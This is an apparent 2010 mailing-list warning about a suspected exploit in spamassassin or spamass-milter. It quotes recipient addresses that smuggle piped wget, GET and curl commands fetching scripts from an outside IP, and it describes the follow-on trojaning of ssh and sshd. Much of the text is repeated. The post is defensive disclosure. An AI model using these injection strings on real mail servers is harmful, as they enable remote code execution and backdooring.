Paul Heinlein
2010-03-16 19:08:17 UTC
This is a heads-up that there might be an actively exploited
vulnerability in either the spamassassin or spamass-milter package.
I'm still unsure where the problem lies, but here's what I know.
The system described below runs x86_64 release of CentOS 5.4. SELinux
was, at the time, in Permissive mode. The packages involved, as far as
I can tell, are
* spamassassin-3.2.5-1.el5.rf
* spamass-milter-0.3.1-1.el5.rf
* sendmail-8.13.8-2.el5 (not rpmforge, obviously)
Mar 15 05:47 (times are PDT): Several messages arrived with suspicious
recipients:
<root+:>
<root+:"|wget http://61.100.185.177/busy-1.php">
<root+:"|GET http://61.100.185.177/busy-2.php">
<root+:"|curl http://61.100.185.177/busy-3.php">
Sendmail recognized the addresses as syntactically evil, but a process
running under the spamass_milter_t context ran wget, GET, and curl and
connected to the IP address in the addresses above.
The file(s) downloaded by these processes executed a shell script. It
did several things, the highlights of which are
1. It downloaded, uncompressed, and untar-ed a file named
xS.tar.gz. The resulting directory name was /xS.
2. It tried to add a unix group and user named "sshd"; the attempt
failed, probably because there's already an sshd user and group
on the system.
3. It installed 32-bit Linux executables in place of /usr/bin/ssh
and /usr/sbin/sshd. The new executables were dynamically linked
against a small number of libraries, but most of the supporting
libraries had been compiled directly into the applications.
4. It installed a minimal /etc/ssh/sshd_config and an empty
/etc/ssh/ssh_config.
5. After verifying that sshd was in the process table, it
removed the /xS directory.
6. It created an empty file name /dev/devno
7. It restarted sshd using /sbin/service
Again, this was all done under the spamass_milter_t security context.
I don't know enough about the sendmail <-> spamass-milter <-> spamd
pipeline to have a definitive idea about what application misparsed
the piped e-mail addresses and executed them.
I saw the attack again this morning, but by then I'd cleaned things up
and gotten SELinux back into Enforcing mode, which prevented the
exploit from working again.
vulnerability in either the spamassassin or spamass-milter package.
I'm still unsure where the problem lies, but here's what I know.
The system described below runs x86_64 release of CentOS 5.4. SELinux
was, at the time, in Permissive mode. The packages involved, as far as
I can tell, are
* spamassassin-3.2.5-1.el5.rf
* spamass-milter-0.3.1-1.el5.rf
* sendmail-8.13.8-2.el5 (not rpmforge, obviously)
Mar 15 05:47 (times are PDT): Several messages arrived with suspicious
recipients:
<root+:>
<root+:"|wget http://61.100.185.177/busy-1.php">
<root+:"|GET http://61.100.185.177/busy-2.php">
<root+:"|curl http://61.100.185.177/busy-3.php">
Sendmail recognized the addresses as syntactically evil, but a process
running under the spamass_milter_t context ran wget, GET, and curl and
connected to the IP address in the addresses above.
The file(s) downloaded by these processes executed a shell script. It
did several things, the highlights of which are
1. It downloaded, uncompressed, and untar-ed a file named
xS.tar.gz. The resulting directory name was /xS.
2. It tried to add a unix group and user named "sshd"; the attempt
failed, probably because there's already an sshd user and group
on the system.
3. It installed 32-bit Linux executables in place of /usr/bin/ssh
and /usr/sbin/sshd. The new executables were dynamically linked
against a small number of libraries, but most of the supporting
libraries had been compiled directly into the applications.
4. It installed a minimal /etc/ssh/sshd_config and an empty
/etc/ssh/ssh_config.
5. After verifying that sshd was in the process table, it
removed the /xS directory.
6. It created an empty file name /dev/devno
7. It restarted sshd using /sbin/service
Again, this was all done under the spamass_milter_t security context.
I don't know enough about the sendmail <-> spamass-milter <-> spamd
pipeline to have a definitive idea about what application misparsed
the piped e-mail addresses and executed them.
I saw the attack again this morning, but by then I'd cleaned things up
and gotten SELinux back into Enforcing mode, which prevented the
exploit from working again.
--
Paul Heinlein <> heinlein at madboa.com <> http://www.madboa.com/
Paul Heinlein <> heinlein at madboa.com <> http://www.madboa.com/